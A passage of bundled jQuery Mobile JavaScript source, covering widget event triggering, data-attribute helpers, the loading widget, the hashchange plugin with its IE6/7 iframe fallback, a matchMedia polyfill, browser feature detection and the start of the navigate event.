this.focusable.add( element ); this._on( element, { focusin: function( event ) { $( event.currentTarget ).addClass( "ui-state-focus" ); }, focusout: function( event ) { $( event.currentTarget ).removeClass( "ui-state-focus" ); } }); }, _trigger: function( type, event, data ) { var prop, orig, callback = this.options[ type ]; data = data || {}; event = $.Event( event ); event.type = ( type === this.widgetEventPrefix ? type : this.widgetEventPrefix + type ).toLowerCase(); // the original event may come from any element // so we need to reset the target on the new event event.target = this.element[ 0 ]; // copy original event properties over to the new event orig = event.originalEvent; if ( orig ) { for ( prop in orig ) { if ( !( prop in event ) ) { event[ prop ] = orig[ prop ]; } } } this.element.trigger( event, data ); return !( $.isFunction( callback ) && callback.apply( this.element[0], [ event ].concat( data ) ) === false || event.isDefaultPrevented() ); } }; $.each( { show: "fadeIn", hide: "fadeOut" }, function( method, defaultEffect ) { $.Widget.prototype[ "_" + method ] = function( element, options, callback ) { if ( typeof options === "string" ) { options = { effect: options }; } var hasOptions, effectName = !options ? method : options === true || typeof options === "number" ? defaultEffect : options.effect || defaultEffect; options = options || {}; if ( typeof options === "number" ) { options = { duration: options }; } hasOptions = !$.isEmptyObject( options ); options.complete = callback; if ( options.delay ) { element.delay( options.delay ); } if ( hasOptions && $.effects && $.effects.effect[ effectName ] ) { element[ method ]( options ); } else if ( effectName !== method && element[ effectName ] ) { element[ effectName ]( options.duration, options.easing, callback ); } else { element.queue(function( next ) { $( this )[ method ](); if ( callback ) { callback.call( element[ 0 ] ); } next(); }); } }; }); })( jQuery ); (function( $, window, undefined ) { var nsNormalizeDict = {}, oldFind = $.find, rbrace = /(?:\{[\s\S]*\}|\[[\s\S]*\])$/, jqmDataRE = /:jqmData\(([^)]*)\)/g; $.extend( $.mobile, { // Namespace used framework-wide for data-attrs. Default is no namespace ns: "", // Retrieve an attribute from an element and perform some massaging of the value getAttribute: function( element, key ) { var data; element = element.jquery ? element[0] : element; if ( element && element.getAttribute ) { data = element.getAttribute( "data-" + $.mobile.ns + key ); } // Copied from core's src/data.js:dataAttr() // Convert from a string to a proper data type try { data = data === "true" ? true : data === "false" ? false : data === "null" ? null : // Only convert to a number if it doesn't change the string +data + "" === data ? +data : rbrace.test( data ) ? JSON.parse( data ) : data; } catch( err ) {} return data; }, // Expose our cache for testing purposes. nsNormalizeDict: nsNormalizeDict, // Take a data attribute property, prepend the namespace // and then camel case the attribute string. Add the result // to our nsNormalizeDict so we don't have to do this again. nsNormalize: function( prop ) { return nsNormalizeDict[ prop ] || ( nsNormalizeDict[ prop ] = $.camelCase( $.mobile.ns + prop ) ); }, // Find the closest javascript page element to gather settings data jsperf test // http://jsperf.com/single-complex-selector-vs-many-complex-selectors/edit // possibly naive, but it shows that the parsing overhead for *just* the page selector vs // the page and dialog selector is negligable. This could probably be speed up by // doing a similar parent node traversal to the one found in the inherited theme code above closestPageData: function( $target ) { return $target .closest( ":jqmData(role='page'), :jqmData(role='dialog')" ) .data( "mobile-page" ); } }); // Mobile version of data and removeData and hasData methods // ensures all data is set and retrieved using jQuery Mobile's data namespace $.fn.jqmData = function( prop, value ) { var result; if ( typeof prop !== "undefined" ) { if ( prop ) { prop = $.mobile.nsNormalize( prop ); } // undefined is permitted as an explicit input for the second param // in this case it returns the value and does not set it to undefined if ( arguments.length < 2 || value === undefined ) { result = this.data( prop ); } else { result = this.data( prop, value ); } } return result; }; $.jqmData = function( elem, prop, value ) { var result; if ( typeof prop !== "undefined" ) { result = $.data( elem, prop ? $.mobile.nsNormalize( prop ) : prop, value ); } return result; }; $.fn.jqmRemoveData = function( prop ) { return this.removeData( $.mobile.nsNormalize( prop ) ); }; $.jqmRemoveData = function( elem, prop ) { return $.removeData( elem, $.mobile.nsNormalize( prop ) ); }; $.find = function( selector, context, ret, extra ) { if ( selector.indexOf( ":jqmData" ) > -1 ) { selector = selector.replace( jqmDataRE, "[data-" + ( $.mobile.ns || "" ) + "$1]" ); } return oldFind.call( this, selector, context, ret, extra ); }; $.extend( $.find, oldFind ); })( jQuery, this ); (function( $, undefined ) { var rcapitals = /[A-Z]/g, replaceFunction = function( c ) { return "-" + c.toLowerCase(); }; $.extend( $.Widget.prototype, { _getCreateOptions: function() { var option, value, elem = this.element[ 0 ], options = {}; // if ( !$.mobile.getAttribute( elem, "defaults" ) ) { for ( option in this.options ) { value = $.mobile.getAttribute( elem, option.replace( rcapitals, replaceFunction ) ); if ( value != null ) { options[ option ] = value; } } } return options; } }); //TODO: Remove in 1.5 for backcompat only $.mobile.widget = $.Widget; })( jQuery ); (function( $ ) { // TODO move loader class down into the widget settings var loaderClass = "ui-loader", $html = $( "html" ); $.widget( "mobile.loader", { // NOTE if the global config settings are defined they will override these // options options: { // the theme for the loading message theme: "a", // whether the text in the loading message is shown textVisible: false, // custom html for the inner content of the loading message html: "", // the text to be displayed when the popup is shown text: "loading" }, defaultHtml: "<div class='" + loaderClass + "'>" + "<span class='ui-icon-loading'></span>" + "<h1></h1>" + "</div>", // For non-fixed supportin browsers. Position at y center (if scrollTop supported), above the activeBtn (if defined), or just 100px from top fakeFixLoader: function() { var activeBtn = $( "." + $.mobile.activeBtnClass ).first(); this.element .css({ top: $.support.scrollTop && this.window.scrollTop() + this.window.height() / 2 || activeBtn.length && activeBtn.offset().top || 100 }); }, // check position of loader to see if it appears to be "fixed" to center // if not, use abs positioning checkLoaderPosition: function() { var offset = this.element.offset(), scrollTop = this.window.scrollTop(), screenHeight = $.mobile.getScreenHeight(); if ( offset.top < scrollTop || ( offset.top - scrollTop ) > screenHeight ) { this.element.addClass( "ui-loader-fakefix" ); this.fakeFixLoader(); this.window .unbind( "scroll", this.checkLoaderPosition ) .bind( "scroll", $.proxy( this.fakeFixLoader, this ) ); } }, resetHtml: function() { this.element.html( $( this.defaultHtml ).html() ); }, // Turn on/off page loading message. Theme doubles as an object argument // with the following shape: { theme: '', text: '', html: '', textVisible: '' } // NOTE that the $.mobile.loading* settings and params past the first are deprecated // TODO sweet jesus we need to break some of this out show: function( theme, msgText, textonly ) { var textVisible, message, loadSettings; this.resetHtml(); // use the prototype options so that people can set them globally at // mobile init. Consistency, it's what's for dinner if ( $.type( theme ) === "object" ) { loadSettings = $.extend( {}, this.options, theme ); theme = loadSettings.theme; } else { loadSettings = this.options; // here we prefer the theme value passed as a string argument, then // we prefer the global option because we can't use undefined default // prototype options, then the prototype option theme = theme || loadSettings.theme; } // set the message text, prefer the param, then the settings object // then loading message message = msgText || ( loadSettings.text === false ? "" : loadSettings.text ); // prepare the dom $html.addClass( "ui-loading" ); textVisible = loadSettings.textVisible; // add the proper css given the options (theme, text, etc) // Force text visibility if the second argument was supplied, or // if the text was explicitly set in the object args this.element.attr("class", loaderClass + " ui-corner-all ui-body-" + theme + " ui-loader-" + ( textVisible || msgText || theme.text ? "verbose" : "default" ) + ( loadSettings.textonly || textonly ? " ui-loader-textonly" : "" ) ); // TODO verify that jquery.fn.html is ok to use in both cases here // this might be overly defensive in preventing unknowing xss // if the html attribute is defined on the loading settings, use that // otherwise use the fallbacks from above if ( loadSettings.html ) { this.element.html( loadSettings.html ); } else { this.element.find( "h1" ).text( message ); } // If the pagecontainer widget has been defined we may use the :mobile-pagecontainer // and attach to the element on which the pagecontainer widget has been defined. If not, // we attach to the body. this.element.appendTo( $.mobile.pagecontainer ? $( ":mobile-pagecontainer" ) : $( "body" ) ); // check that the loader is visible this.checkLoaderPosition(); // on scroll check the loader position this.window.bind( "scroll", $.proxy( this.checkLoaderPosition, this ) ); }, hide: function() { $html.removeClass( "ui-loading" ); if ( this.options.text ) { this.element.removeClass( "ui-loader-fakefix" ); } this.window.unbind( "scroll", this.fakeFixLoader ); this.window.unbind( "scroll", this.checkLoaderPosition ); } }); })(jQuery, this); /*! * jQuery hashchange event - v1.3 - 7/21/2010 * http://benalman.com/projects/jquery-hashchange-plugin/ * * Copyright (c) 2010 "Cowboy" Ben Alman * Dual licensed under the MIT and GPL licenses. * http://benalman.com/about/license/ */ // Script: jQuery hashchange event // // *Version: 1.3, Last updated: 7/21/2010* // // Project Home - http://benalman.com/projects/jquery-hashchange-plugin/ // GitHub - http://github.com/cowboy/jquery-hashchange/ // Source - http://github.com/cowboy/jquery-hashchange/raw/master/jquery.ba-hashchange.js // (Minified) - http://github.com/cowboy/jquery-hashchange/raw/master/jquery.ba-hashchange.min.js (0.8kb gzipped) // // About: License // // Copyright (c) 2010 "Cowboy" Ben Alman, // Dual licensed under the MIT and GPL licenses. // http://benalman.com/about/license/ // // About: Examples // // These working examples, complete with fully commented code, illustrate a few // ways in which this plugin can be used. // // hashchange event - http://benalman.com/code/projects/jquery-hashchange/examples/hashchange/ // document.domain - http://benalman.com/code/projects/jquery-hashchange/examples/document_domain/ // // About: Support and Testing // // Information about what version or versions of jQuery this plugin has been // tested with, what browsers it has been tested in, and where the unit tests // reside (so you can test it yourself). // // jQuery Versions - 1.2.6, 1.3.2, 1.4.1, 1.4.2 // Browsers Tested - Internet Explorer 6-8, Firefox 2-4, Chrome 5-6, Safari 3.2-5, // Opera 9.6-10.60, iPhone 3.1, Android 1.6-2.2, BlackBerry 4.6-5. // Unit Tests - http://benalman.com/code/projects/jquery-hashchange/unit/ // // About: Known issues // // While this jQuery hashchange event implementation is quite stable and // robust, there are a few unfortunate browser bugs surrounding expected // hashchange event-based behaviors, independent of any JavaScript // window.onhashchange abstraction. See the following examples for more // information: // // Chrome: Back Button - http://benalman.com/code/projects/jquery-hashchange/examples/bug-chrome-back-button/ // Firefox: Remote XMLHttpRequest - http://benalman.com/code/projects/jquery-hashchange/examples/bug-firefox-remote-xhr/ // WebKit: Back Button in an Iframe - http://benalman.com/code/projects/jquery-hashchange/examples/bug-webkit-hash-iframe/ // Safari: Back Button from a different domain - http://benalman.com/code/projects/jquery-hashchange/examples/bug-safari-back-from-diff-domain/ // // Also note that should a browser natively support the window.onhashchange // event, but not report that it does, the fallback polling loop will be used. // // About: Release History // // 1.3 - (7/21/2010) Reorganized IE6/7 Iframe code to make it more // "removable" for mobile-only development. Added IE6/7 document.title // support. Attempted to make Iframe as hidden as possible by using // techniques from http://www.paciellogroup.com/blog/?p=604. Added // support for the "shortcut" format $(window).hashchange( fn ) and // $(window).hashchange() like jQuery provides for built-in events. // Renamed jQuery.hashchangeDelay to <jQuery.fn.hashchange.delay> and // lowered its default value to 50. Added <jQuery.fn.hashchange.domain> // and <jQuery.fn.hashchange.src> properties plus document-domain.html // file to address access denied issues when setting document.domain in // IE6/7. // 1.2 - (2/11/2010) Fixed a bug where coming back to a page using this plugin // from a page on another domain would cause an error in Safari 4. Also, // IE6/7 Iframe is now inserted after the body (this actually works), // which prevents the page from scrolling when the event is first bound. // Event can also now be bound before DOM ready, but it won't be usable // before then in IE6/7. // 1.1 - (1/21/2010) Incorporated document.documentMode test to fix IE8 bug // where browser version is incorrectly reported as 8.0, despite // inclusion of the X-UA-Compatible IE=EmulateIE7 meta tag. // 1.0 - (1/9/2010) Initial Release. Broke out the jQuery BBQ event.special // window.onhashchange functionality into a separate plugin for users // who want just the basic event & back button support, without all the // extra awesomeness that BBQ provides. This plugin will be included as // part of jQuery BBQ, but also be available separately. (function($,window,undefined){ '$:nomunge'; // Used by YUI compressor. // Reused string. var str_hashchange = 'hashchange', // Method / object references. doc = document, fake_onhashchange, special = $.event.special, // Does the browser support window.onhashchange? Note that IE8 running in // IE7 compatibility mode reports true for 'onhashchange' in window, even // though the event isn't supported, so also test document.documentMode. doc_mode = doc.documentMode, supports_onhashchange = 'on' + str_hashchange in window && ( doc_mode === undefined || doc_mode > 7 ); // Get location.hash (or what you'd expect location.hash to be) sans any // leading #. Thanks for making this necessary, Firefox! function get_fragment( url ) { url = url || location.href; return '#' + url.replace( /^[^#]*#?(.*)$/, '$1' ); }; // Method: jQuery.fn.hashchange // // Bind a handler to the window.onhashchange event or trigger all bound // window.onhashchange event handlers. This behavior is consistent with // jQuery's built-in event handlers. // // Usage: // // > jQuery(window).hashchange( [ handler ] ); // // Arguments: // // handler - (Function) Optional handler to be bound to the hashchange // event. This is a "shortcut" for the more verbose form: // jQuery(window).bind( 'hashchange', handler ). If handler is omitted, // all bound window.onhashchange event handlers will be triggered. This // is a shortcut for the more verbose // jQuery(window).trigger( 'hashchange' ). These forms are described in // the <hashchange event> section. // // Returns: // // (jQuery) The initial jQuery collection of elements. // Allow the "shortcut" format $(elem).hashchange( fn ) for binding and // $(elem).hashchange() for triggering, like jQuery does for built-in events. $.fn[ str_hashchange ] = function( fn ) { return fn ? this.bind( str_hashchange, fn ) : this.trigger( str_hashchange ); }; // Property: jQuery.fn.hashchange.delay // // The numeric interval (in milliseconds) at which the <hashchange event> // polling loop executes. Defaults to 50. // Property: jQuery.fn.hashchange.domain // // If you're setting document.domain in your JavaScript, and you want hash // history to work in IE6/7, not only must this property be set, but you must // also set document.domain BEFORE jQuery is loaded into the page. This // property is only applicable if you are supporting IE6/7 (or IE8 operating // in "IE7 compatibility" mode). // // In addition, the <jQuery.fn.hashchange.src> property must be set to the // path of the included "document-domain.html" file, which can be renamed or // modified if necessary (note that the document.domain specified must be the // same in both your main JavaScript as well as in this file). // // Usage: // // jQuery.fn.hashchange.domain = document.domain; // Property: jQuery.fn.hashchange.src // // If, for some reason, you need to specify an Iframe src file (for example, // when setting document.domain as in <jQuery.fn.hashchange.domain>), you can // do so using this property. Note that when using this property, history // won't be recorded in IE6/7 until the Iframe src file loads. This property // is only applicable if you are supporting IE6/7 (or IE8 operating in "IE7 // compatibility" mode). // // Usage: // // jQuery.fn.hashchange.src = 'path/to/file.html'; $.fn[ str_hashchange ].delay = 50; /* $.fn[ str_hashchange ].domain = null; $.fn[ str_hashchange ].src = null; */ // Event: hashchange event // // Fired when location.hash changes. In browsers that support it, the native // HTML5 window.onhashchange event is used, otherwise a polling loop is // initialized, running every <jQuery.fn.hashchange.delay> milliseconds to // see if the hash has changed. In IE6/7 (and IE8 operating in "IE7 // compatibility" mode), a hidden Iframe is created to allow the back button // and hash-based history to work. // // Usage as described in <jQuery.fn.hashchange>: // // > // Bind an event handler. // > jQuery(window).hashchange( function(e) { // > var hash = location.hash; // > ... // > }); // > // > // Manually trigger the event handler. // > jQuery(window).hashchange(); // // A more verbose usage that allows for event namespacing: // // > // Bind an event handler. // > jQuery(window).bind( 'hashchange', function(e) { // > var hash = location.hash; // > ... // > }); // > // > // Manually trigger the event handler. // > jQuery(window).trigger( 'hashchange' ); // // Additional Notes: // // * The polling loop and Iframe are not created until at least one handler // is actually bound to the 'hashchange' event. // * If you need the bound handler(s) to execute immediately, in cases where // a location.hash exists on page load, via bookmark or page refresh for // example, use jQuery(window).hashchange() or the more verbose // jQuery(window).trigger( 'hashchange' ). // * The event can be bound before DOM ready, but since it won't be usable // before then in IE6/7 (due to the necessary Iframe), recommended usage is // to bind it inside a DOM ready handler. // Override existing $.event.special.hashchange methods (allowing this plugin // to be defined after jQuery BBQ in BBQ's source code). special[ str_hashchange ] = $.extend( special[ str_hashchange ], { // Called only when the first 'hashchange' event is bound to window. setup: function() { // If window.onhashchange is supported natively, there's nothing to do.. if ( supports_onhashchange ) { return false; } // Otherwise, we need to create our own. And we don't want to call this // until the user binds to the event, just in case they never do, since it // will create a polling loop and possibly even a hidden Iframe. $( fake_onhashchange.start ); }, // Called only when the last 'hashchange' event is unbound from window. teardown: function() { // If window.onhashchange is supported natively, there's nothing to do.. if ( supports_onhashchange ) { return false; } // Otherwise, we need to stop ours (if possible). $( fake_onhashchange.stop ); } }); // fake_onhashchange does all the work of triggering the window.onhashchange // event for browsers that don't natively support it, including creating a // polling loop to watch for hash changes and in IE 6/7 creating a hidden // Iframe to enable back and forward. fake_onhashchange = (function(){ var self = {}, timeout_id, // Remember the initial hash so it doesn't get triggered immediately. last_hash = get_fragment(), fn_retval = function(val){ return val; }, history_set = fn_retval, history_get = fn_retval; // Start the polling loop. self.start = function() { timeout_id || poll(); }; // Stop the polling loop. self.stop = function() { timeout_id && clearTimeout( timeout_id ); timeout_id = undefined; }; // This polling loop checks every $.fn.hashchange.delay milliseconds to see // if location.hash has changed, and triggers the 'hashchange' event on // window when necessary. function poll() { var hash = get_fragment(), history_hash = history_get( last_hash ); if ( hash !== last_hash ) { history_set( last_hash = hash, history_hash ); $(window).trigger( str_hashchange ); } else if ( history_hash !== last_hash ) { location.href = location.href.replace( /#.*/, '' ) + history_hash; } timeout_id = setTimeout( poll, $.fn[ str_hashchange ].delay ); }; // vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv // vvvvvvvvvvvvvvvvvvv REMOVE IF NOT SUPPORTING IE6/7/8 vvvvvvvvvvvvvvvvvvv // vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv window.attachEvent && !window.addEventListener && !supports_onhashchange && (function(){ // Not only do IE6/7 need the "magical" Iframe treatment, but so does IE8 // when running in "IE7 compatibility" mode. var iframe, iframe_src; // When the event is bound and polling starts in IE 6/7, create a hidden // Iframe for history handling. self.start = function(){ if ( !iframe ) { iframe_src = $.fn[ str_hashchange ].src; iframe_src = iframe_src && iframe_src + get_fragment(); // Create hidden Iframe. Attempt to make Iframe as hidden as possible // by using techniques from http://www.paciellogroup.com/blog/?p=604. iframe = $('<iframe tabindex="-1" title="empty"/>').hide() // When Iframe has completely loaded, initialize the history and // start polling. .one( 'load', function(){ iframe_src || history_set( get_fragment() ); poll(); }) // Load Iframe src if specified, otherwise nothing. .attr( 'src', iframe_src || 'javascript:0' ) // Append Iframe after the end of the body to prevent unnecessary // initial page scrolling (yes, this works). .insertAfter( 'body' )[0].contentWindow; // Whenever `document.title` changes, update the Iframe's title to // prettify the back/next history menu entries. Since IE sometimes // errors with "Unspecified error" the very first time this is set // (yes, very useful) wrap this with a try/catch block. doc.onpropertychange = function(){ try { if ( event.propertyName === 'title' ) { iframe.document.title = doc.title; } } catch(e) {} }; } }; // Override the "stop" method since an IE6/7 Iframe was created. Even // if there are no longer any bound event handlers, the polling loop // is still necessary for back/next to work at all! self.stop = fn_retval; // Get history by looking at the hidden Iframe's location.hash. history_get = function() { return get_fragment( iframe.location.href ); }; // Set a new history item by opening and then closing the Iframe // document, *then* setting its location.hash. If document.domain has // been set, update that as well. history_set = function( hash, history_hash ) { var iframe_doc = iframe.document, domain = $.fn[ str_hashchange ].domain; if ( hash !== history_hash ) { // Update Iframe with any initial `document.title` that might be set. iframe_doc.title = doc.title; // Opening the Iframe's document after it has been closed is what // actually adds a history entry. iframe_doc.open(); // Set document.domain for the Iframe document as well, if necessary. domain && iframe_doc.write( '\x3cscript>document.domain="' + domain + '"\x3c/script>' ); iframe_doc.close(); // Update the Iframe's hash, for great justice. iframe.location.hash = hash; } }; })(); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // ^^^^^^^^^^^^^^^^^^^ REMOVE IF NOT SUPPORTING IE6/7/8 ^^^^^^^^^^^^^^^^^^^ // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ return self; })(); })(jQuery,this); (function( $, undefined ) { /*! matchMedia() polyfill - Test a CSS media type/query in JS. Authors & copyright (c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas. Dual MIT/BSD license */ window.matchMedia = window.matchMedia || (function( doc, undefined ) { var bool, docElem = doc.documentElement, refNode = docElem.firstElementChild || docElem.firstChild, // fakeBody required for <FF4 when executed in <head> fakeBody = doc.createElement( "body" ), div = doc.createElement( "div" ); div.id = "mq-test-1"; div.style.cssText = "position:absolute;top:-100em"; fakeBody.style.background = "none"; fakeBody.appendChild(div); return function(q){ div.innerHTML = "­<style media=\"" + q + "\"> #mq-test-1 { width: 42px; }</style>"; docElem.insertBefore( fakeBody, refNode ); bool = div.offsetWidth === 42; docElem.removeChild( fakeBody ); return { matches: bool, media: q }; }; }( document )); // $.mobile.media uses matchMedia to return a boolean. $.mobile.media = function( q ) { return window.matchMedia( q ).matches; }; })(jQuery); (function( $, undefined ) { var support = { touch: "ontouchend" in document }; $.mobile.support = $.mobile.support || {}; $.extend( $.support, support ); $.extend( $.mobile.support, support ); }( jQuery )); (function( $, undefined ) { $.extend( $.support, { orientation: "orientation" in window && "onorientationchange" in window }); }( jQuery )); (function( $, undefined ) { // thx Modernizr function propExists( prop ) { var uc_prop = prop.charAt( 0 ).toUpperCase() + prop.substr( 1 ), props = ( prop + " " + vendors.join( uc_prop + " " ) + uc_prop ).split( " " ), v; for ( v in props ) { if ( fbCSS[ props[ v ] ] !== undefined ) { return true; } } } var fakeBody = $( "<body>" ).prependTo( "html" ), fbCSS = fakeBody[ 0 ].style, vendors = [ "Webkit", "Moz", "O" ], webos = "palmGetResource" in window, //only used to rule out scrollTop operamini = window.operamini && ({}).toString.call( window.operamini ) === "[object OperaMini]", bb = window.blackberry && !propExists( "-webkit-transform" ), //only used to rule out box shadow, as it's filled opaque on BB 5 and lower nokiaLTE7_3; // inline SVG support test function inlineSVG() { // Thanks Modernizr & Erik Dahlstrom var w = window, svg = !!w.document.createElementNS && !!w.document.createElementNS( "http://www.w3.org/2000/svg", "svg" ).createSVGRect && !( w.opera && navigator.userAgent.indexOf( "Chrome" ) === -1 ), support = function( data ) { if ( !( data && svg ) ) { $( "html" ).addClass( "ui-nosvg" ); } }, img = new w.Image(); img.onerror = function() { support( false ); }; img.onload = function() { support( img.width === 1 && img.height === 1 ); }; img.src = "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw=="; } function transform3dTest() { var mqProp = "transform-3d", // Because the `translate3d` test below throws false positives in Android: ret = $.mobile.media( "(-" + vendors.join( "-" + mqProp + "),(-" ) + "-" + mqProp + "),(" + mqProp + ")" ), el, transforms, t; if ( ret ) { return !!ret; } el = document.createElement( "div" ); transforms = { // We’re omitting Opera for the time being; MS uses unprefixed. "MozTransform": "-moz-transform", "transform": "transform" }; fakeBody.append( el ); for ( t in transforms ) { if ( el.style[ t ] !== undefined ) { el.style[ t ] = "translate3d( 100px, 1px, 1px )"; ret = window.getComputedStyle( el ).getPropertyValue( transforms[ t ] ); } } return ( !!ret && ret !== "none" ); } // Test for dynamic-updating base tag support ( allows us to avoid href,src attr rewriting ) function baseTagTest() { var fauxBase = location.protocol + "//" + location.host + location.pathname + "ui-dir/", base = $( "head base" ), fauxEle = null, href = "", link, rebase; if ( !base.length ) { base = fauxEle = $( "<base>", { "href": fauxBase }).appendTo( "head" ); } else { href = base.attr( "href" ); } link = $( "<a href='testurl' />" ).prependTo( fakeBody ); rebase = link[ 0 ].href; base[ 0 ].href = href || location.pathname; if ( fauxEle ) { fauxEle.remove(); } return rebase.indexOf( fauxBase ) === 0; } // Thanks Modernizr function cssPointerEventsTest() { var element = document.createElement( "x" ), documentElement = document.documentElement, getComputedStyle = window.getComputedStyle, supports; if ( !( "pointerEvents" in element.style ) ) { return false; } element.style.pointerEvents = "auto"; element.style.pointerEvents = "x"; documentElement.appendChild( element ); supports = getComputedStyle && getComputedStyle( element, "" ).pointerEvents === "auto"; documentElement.removeChild( element ); return !!supports; } function boundingRect() { var div = document.createElement( "div" ); return typeof div.getBoundingClientRect !== "undefined"; } // non-UA-based IE version check by James Padolsey, modified by jdalton - from http://gist.github.com/527683 // allows for inclusion of IE 6+, including Windows Mobile 7 $.extend( $.mobile, { browser: {} } ); $.mobile.browser.oldIE = (function() { var v = 3, div = document.createElement( "div" ), a = div.all || []; do { div.innerHTML = "<!--[if gt IE " + ( ++v ) + "]><br><![endif]-->"; } while( a[0] ); return v > 4 ? v : !v; })(); function fixedPosition() { var w = window, ua = navigator.userAgent, platform = navigator.platform, // Rendering engine is Webkit, and capture major version wkmatch = ua.match( /AppleWebKit\/([0-9]+)/ ), wkversion = !!wkmatch && wkmatch[ 1 ], ffmatch = ua.match( /Fennec\/([0-9]+)/ ), ffversion = !!ffmatch && ffmatch[ 1 ], operammobilematch = ua.match( /Opera Mobi\/([0-9]+)/ ), omversion = !!operammobilematch && operammobilematch[ 1 ]; if ( // iOS 4.3 and older : Platform is iPhone/Pad/Touch and Webkit version is less than 534 (ios5) ( ( platform.indexOf( "iPhone" ) > -1 || platform.indexOf( "iPad" ) > -1 || platform.indexOf( "iPod" ) > -1 ) && wkversion && wkversion < 534 ) || // Opera Mini ( w.operamini && ({}).toString.call( w.operamini ) === "[object OperaMini]" ) || ( operammobilematch && omversion < 7458 ) || //Android lte 2.1: Platform is Android and Webkit version is less than 533 (Android 2.2) ( ua.indexOf( "Android" ) > -1 && wkversion && wkversion < 533 ) || // Firefox Mobile before 6.0 - ( ffversion && ffversion < 6 ) || // WebOS less than 3 ( "palmGetResource" in window && wkversion && wkversion < 534 ) || // MeeGo ( ua.indexOf( "MeeGo" ) > -1 && ua.indexOf( "NokiaBrowser/8.5.0" ) > -1 ) ) { return false; } return true; } $.extend( $.support, { // Note, Chrome for iOS has an extremely quirky implementation of popstate. // We've chosen to take the shortest path to a bug fix here for issue #5426 // See the following link for information about the regex chosen // https://developers.google.com/chrome/mobile/docs/user-agent#chrome_for_ios_user-agent pushState: "pushState" in history && "replaceState" in history && // When running inside a FF iframe, calling replaceState causes an error !( window.navigator.userAgent.indexOf( "Firefox" ) >= 0 && window.top !== window ) && ( window.navigator.userAgent.search(/CriOS/) === -1 ), mediaquery: $.mobile.media( "only all" ), cssPseudoElement: !!propExists( "content" ), touchOverflow: !!propExists( "overflowScrolling" ), cssTransform3d: transform3dTest(), boxShadow: !!propExists( "boxShadow" ) && !bb, fixedPosition: fixedPosition(), scrollTop: ("pageXOffset" in window || "scrollTop" in document.documentElement || "scrollTop" in fakeBody[ 0 ]) && !webos && !operamini, dynamicBaseTag: baseTagTest(), cssPointerEvents: cssPointerEventsTest(), boundingRect: boundingRect(), inlineSVG: inlineSVG }); fakeBody.remove(); // $.mobile.ajaxBlacklist is used to override ajaxEnabled on platforms that have known conflicts with hash history updates (BB5, Symbian) // or that generally work better browsing in regular http for full page refreshes (Opera Mini) // Note: This detection below is used as a last resort. // We recommend only using these detection methods when all other more reliable/forward-looking approaches are not possible nokiaLTE7_3 = (function() { var ua = window.navigator.userAgent; //The following is an attempt to match Nokia browsers that are running Symbian/s60, with webkit, version 7.3 or older return ua.indexOf( "Nokia" ) > -1 && ( ua.indexOf( "Symbian/3" ) > -1 || ua.indexOf( "Series60/5" ) > -1 ) && ua.indexOf( "AppleWebKit" ) > -1 && ua.match( /(BrowserNG|NokiaBrowser)\/7\.[0-3]/ ); })(); // Support conditions that must be met in order to proceed // default enhanced qualifications are media query support OR IE 7+ $.mobile.gradeA = function() { return ( ( $.support.mediaquery && $.support.cssPseudoElement ) || $.mobile.browser.oldIE && $.mobile.browser.oldIE >= 8 ) && ( $.support.boundingRect || $.fn.jquery.match(/1\.[0-7+]\.[0-9+]?/) !== null ); }; $.mobile.ajaxBlacklist = // BlackBerry browsers, pre-webkit window.blackberry && !window.WebKitPoint || // Opera Mini operamini || // Symbian webkits pre 7.3 nokiaLTE7_3; // Lastly, this workaround is the only way we've found so far to get pre 7.3 Symbian webkit devices // to render the stylesheets when they're referenced before this script, as we'd recommend doing. // This simply reappends the CSS in place, which for some reason makes it apply if ( nokiaLTE7_3 ) { $(function() { $( "head link[rel='stylesheet']" ).attr( "rel", "alternate stylesheet" ).attr( "rel", "stylesheet" ); }); } // For ruling out shadows via css if ( !$.support.boxShadow ) { $( "html" ).addClass( "ui-noboxshadow" ); } })( jQuery ); (function( $, undefined ) { var $win = $.mobile.window, self, dummyFnToInitNavigate = function() { }; $.event.special.beforenavigate = { setup: function() { $win.on( "navigate", dummyFnToInitNavigate ); }, teardown: function() { $win.off( "navigate", dummyFnToInitNavigate ); } }; $.event.special.navigate = self = { bound: false, pushStateEnabled: true, originalEventName: undefined, // If pushstate support is present and push state support is defined to // be true on the mobile namespace. isPushStateEnabled: function() { return $.support.pushState && $.mobile.pushStateEnabled === true && this.isHashChangeEnabled(); }, // !! assumes mobile namespace is present isHashChangeEnabled: function() { return $.mobile.hashListeningEnabled === true; }, // TODO a lot of duplication between popstate and hashchange popstate: function( event ) { var newEvent = new $.Event( "navigate" ), beforeNavigate = new $.Event( "beforenavigate" ), state = event.originalEvent.state || {}; beforeNavigate.originalEvent = event; $win.trigger( beforeNavigate ); if ( beforeNavigate.isDefaultPrevented() ) { return; } if ( event.historyState ) { $.extend(state, event.historyState); } // Make sure the original event is tracked for the end // user to inspect incase they want to do something special newEvent.originalEvent = event; // NOTE we let the current stack unwind because any assignment to // location.hash will stop the world and run this event handler. By // doing this we create a similar behavior to hashchange on hash // assignment setTimeout(function() { $win.trigger( newEvent, { state: state }); }, 0); }, hashchange: function( event /*, data */ ) { var newEvent = new $.Event( "navigate" ), beforeNavigate = new $.Event( "beforenavigate" ); beforeNavigate.originalEvent = event; $win.trigger( beforeNavigate ); if ( beforeNavigate.isDefaultPrevented() ) { return; } // Make sure the original event is tracked for the end // user to inspect incase they want to do something special newEvent.originalEvent = event; // Trigger the hashchange with state provided by the user // that altered the hash $win.trigger( newEvent, { // Users that want to fully normalize the two events // will need to do history management down the stack and // add the state to the event before this binding is fired // TODO consider allowing for the explicit addition of callbacks // to be fired before this value is set to avoid event timing issues state: event.hashchangeState || {} }); }, // TODO We really only want to set this up once // but I'm not clear if there's a beter way to achieve // this with the jQuery special event structure setup: function( /* data, namespaces */ ) { if ( self.bound ) { return; } self.bound = true; if ( self.isPushStateEnabled() ) { self.originalEventName = "popstate"; $win.bind( "popstate.navigate", self.popstate ); } else if ( self.isHashChangeEnabled() ) { self.originalEventName = 